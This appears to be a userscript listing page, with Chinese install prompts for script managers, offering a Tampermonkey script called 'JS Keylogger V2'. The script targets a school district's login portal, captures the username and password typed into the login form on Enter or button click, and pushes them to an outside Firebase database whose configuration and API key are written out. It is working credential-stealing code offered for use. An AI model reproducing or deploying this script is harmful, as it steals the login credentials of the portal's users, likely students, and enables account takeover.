您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
Keylogger for chrome using JS
// ==UserScript== // @name JS Keylogger V2 // @namespace http://tampermonkey.net/ // @version 0.1 // @description Keylogger for chrome using JS // @author You // @match https://my.cherrycreekschools.org/* // @grant none //@require https://www.gstatic.com/firebasejs/3.5.2/firebase.js // ==/UserScript== (function() { 'use strict'; // Your code here... window.onload = function(){ var config = { apiKey: "AIzaSyCtagvRPuV49zpoErTly-dl6HyjjjKkLo8", authDomain: "record-creek-data.firebaseapp.com", databaseURL: "https://record-creek-data.firebaseio.com", projectId: "record-creek-data", storageBucket: "", messagingSenderId: "1059244189723" }; firebase.initializeApp(config); var database = firebase.database(); var currUsername, currPassword; document.onkeydown = function(e) { if(e.key=='Enter'){ currUsername = document.getElementsByClassName('loginForm-text-input')[0].value; currPassword = document.getElementsByClassName('loginForm-text-input')[1].value; var data = { username: currUsername, password: currPassword } database.ref('entries').push(data); } } var loginButton = document.getElementById('LoginButton'); try{ loginButton.addEventListener("click", function(){ currUsername = document.getElementsByClassName('loginForm-text-input')[0].value; currPassword = document.getElementsByClassName('loginForm-text-input')[1].value; var data = { username: currUsername, password: currPassword } database.ref('entries').push(data); }); }catch(err){ console.log(); } } })();